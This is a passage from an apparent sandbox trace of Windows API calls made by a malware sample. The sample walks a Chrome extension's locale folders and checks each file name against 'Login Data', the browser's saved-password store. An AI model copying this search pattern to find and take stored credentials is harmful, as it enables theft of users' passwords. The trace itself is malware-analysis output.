IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar") returned 131 [0056.569] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar") returned 131 [0056.569] lstrlenA (lpString="\\*.*") returned 4 [0056.569] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.569] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar" [0056.569] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*.*" [0056.569] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.569] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.569] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.570] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.570] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.570] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.570] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.570] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.570] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.570] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.570] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.570] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.570] lstrcmpiA (lpString1=".", lpString2="bg") returned -1 [0056.570] lstrcmpiA (lpString1="..", lpString2="bg") returned -1 [0056.570] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.570] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.570] lstrlenA (lpString="\\") returned 1 [0056.570] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.570] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.570] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.570] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.570] lstrlenA (lpString="bg") returned 2 [0056.570] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.570] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.570] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg" [0056.570] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.570] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg") returned 131 [0056.570] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg") returned 131 [0056.570] lstrlenA (lpString="\\*.*") returned 4 [0056.570] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.570] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg" [0056.570] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*.*" [0056.570] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.570] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.570] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.570] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.570] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.570] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.570] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.570] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.570] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.570] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.570] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.570] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.570] lstrcmpiA (lpString1=".", lpString2="ca") returned -1 [0056.570] lstrcmpiA (lpString1="..", lpString2="ca") returned -1 [0056.570] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.570] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.571] lstrlenA (lpString="\\") returned 1 [0056.571] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.571] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.571] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.571] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.571] lstrlenA (lpString="ca") returned 2 [0056.571] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.571] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.571] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca" [0056.571] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.571] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca") returned 131 [0056.571] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca") returned 131 [0056.571] lstrlenA (lpString="\\*.*") returned 4 [0056.571] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.571] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca" [0056.571] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*.*" [0056.571] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.571] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.571] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.571] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.571] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.571] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.571] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.571] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.571] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.571] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.571] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.571] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.571] lstrcmpiA (lpString1=".", lpString2="cs") returned -1 [0056.571] lstrcmpiA (lpString1="..", lpString2="cs") returned -1 [0056.571] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.571] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.571] lstrlenA (lpString="\\") returned 1 [0056.571] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.571] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.571] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.571] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.571] lstrlenA (lpString="cs") returned 2 [0056.571] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.571] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.571] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs" [0056.571] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.571] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs") returned 131 [0056.571] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs") returned 131 [0056.571] lstrlenA (lpString="\\*.*") returned 4 [0056.571] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.571] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs" [0056.572] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*.*" [0056.572] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.572] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.572] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.572] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.572] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.572] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.572] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.572] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.572] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.572] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.572] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.572] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.572] lstrcmpiA (lpString1=".", lpString2="da") returned -1 [0056.572] lstrcmpiA (lpString1="..", lpString2="da") returned -1 [0056.572] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.572] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.572] lstrlenA (lpString="\\") returned 1 [0056.572] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.572] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.572] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.572] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.572] lstrlenA (lpString="da") returned 2 [0056.572] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.572] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.572] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da" [0056.572] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.572] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da") returned 131 [0056.572] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da") returned 131 [0056.572] lstrlenA (lpString="\\*.*") returned 4 [0056.572] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.572] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da" [0056.572] lstrcatA (in: lpString1="C:\\Users\\aDU0VK 